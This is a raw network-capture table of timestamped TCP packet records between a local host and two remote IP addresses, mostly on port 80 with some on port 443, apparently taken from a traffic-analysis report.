Oct 30, 2024 15:59:40.019480944 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019503117 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.019515991 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.019565105 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019576073 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019587040 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019629002 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.019666910 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019679070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019690037 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019697905 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019726992 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.019740105 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.019772053 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019783020 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019810915 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019823074 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019855022 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.019879103 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.019923925 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019936085 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019947052 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019958973 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019970894 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019994020 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.020030975 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.020150900 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.020162106 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.020174026 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.020185947 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.020198107 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.020210028 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.020214081 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.020222902 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.020226955 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.020237923 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.020251036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.020255089 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.020277977 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.020292997 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.056626081 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.056641102 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.056682110 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.056698084 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.056701899 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.056716919 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.056742907 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.056755066 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.056778908 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.056792021 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.056845903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.056855917 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.056895018 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.113701105 CET	49779	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.116873026 CET	49794	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.116904020 CET	443	49794	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.117068052 CET	49794	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.117242098 CET	49794	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.117255926 CET	443	49794	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.122993946 CET	443	49786	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.123485088 CET	49786	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.123497963 CET	443	49786	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.123975039 CET	49786	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.123981953 CET	443	49786	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.133575916 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.133590937 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.133603096 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.133637905 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.133654118 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.133701086 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.133714914 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.133728027 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.133748055 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.133760929 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.133826971 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.133838892 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.133851051 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.133862972 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.133872986 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.133874893 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.133888960 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.133898020 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.133910894 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.133939028 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.133975029 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134012938 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134021044 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.134025097 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134062052 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.134107113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134118080 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134128094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134141922 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134151936 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.134162903 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.134188890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134192944 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.134247065 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134304047 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.134305000 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.134318113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134330034 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134341955 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134356022 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134406090 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134413958 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.134413958 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.134707928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134718895 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134732008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134743929 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134761095 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.134778023 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.134805918 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134849072 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134850979 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.134860992 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134872913 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134906054 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.134936094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.134954929 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135024071 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135034084 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135063887 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.135066032 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135077000 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.135086060 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135101080 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.135121107 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.135129929 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135140896 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135210037 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135221004 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135246992 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.135273933 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.135302067 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135318995 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135329008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135341883 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135377884 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.135381937 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135463953 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135477066 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135488033 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135499001 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135526896 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.135539055 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.135551929 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135565042 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135593891 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.135622025 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.135626078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135637999 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135648966 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135694981 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.135721922 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135734081 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135771990 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.135777950 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135791063 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135831118 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.135867119 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135879040 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135890961 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.135915041 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.135938883 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.172211885 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.172225952 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.172236919 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.172255039 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.172267914 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.172327995 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.172352076 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.172364950 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.172383070 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.172391891 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.172420979 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.172430038 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.172435045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.172466993 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.172508001 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.217494011 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.217520952 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.217533112 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.217617989 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.217617989 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.227900982 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.228487968 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.228506088 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.230051994 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.230057955 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.249154091 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.249182940 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.249232054 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.249239922 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.249253988 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.249264956 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.249291897 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.249382019 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.249398947 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.249411106 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.249422073 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.249423027 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.249473095 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.249514103 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.249526024 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.249567032 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.268407106 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268421888 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268434048 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268445015 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268456936 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268469095 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268481016 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.268490076 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268508911 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268515110 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.268522978 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268541098 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268549919 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.268549919 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.268556118 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268568993 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268579960 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268582106 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.268590927 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268601894 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268608093 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.268614054 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268625021 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268632889 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.268646955 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268652916 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.268660069 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.268661976 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268675089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268687010 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268693924 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.268702030 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268713951 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.268721104 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268733025 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268738985 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.268745899 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268750906 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.268759012 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268779993 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.268786907 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.268969059 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268981934 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.268991947 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.269006014 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.269017935 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.269017935 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.269030094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.269041061 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.269042015 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.269054890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.269067049 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.269068956 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.269095898 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.269113064 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.269375086 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.269387960 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.269398928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.269411087 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.269424915 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.269438982 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.269510984 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.269524097 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.269534111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.269545078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.269556046 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.269556999 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.269567013 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.269570112 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.269582987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.269588947 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.269594908 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.269596100 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.269602060 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.269686937 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.269725084 CET	443	49786	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.269787073 CET	443	49786	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.269859076 CET	49786	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.270299911 CET	49786	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.270315886 CET	443	49786	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.270329952 CET	49786	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.270335913 CET	443	49786	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.274260998 CET	49795	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.274301052 CET	443	49795	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.274369955 CET	49795	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.274617910 CET	49795	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.274631023 CET	443	49795	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.361211061 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.361232996 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.361274004 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.361336946 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.361560106 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.361565113 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.364536047 CET	49796	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.364592075 CET	443	49796	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.364711046 CET	49796	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.364886999 CET	49796	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.364916086 CET	443	49796	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.371634960 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.377055883 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.525847912 CET	443	49792	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.526715040 CET	49792	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.526751041 CET	443	49792	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.527568102 CET	49792	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.527575016 CET	443	49792	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.546900988 CET	443	49793	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.547373056 CET	49793	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.547399998 CET	443	49793	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.547904015 CET	49793	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.547908068 CET	443	49793	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.648031950 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648046017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648101091 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648103952 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.648114920 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648128033 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648139954 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648147106 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.648159981 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.648191929 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.648281097 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648324013 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.648433924 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648447037 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648457050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648468971 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648482084 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648482084 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.648495913 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648502111 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.648526907 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.648550987 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.648575068 CET	80	49716	185.215.113.206	192.168.2.6
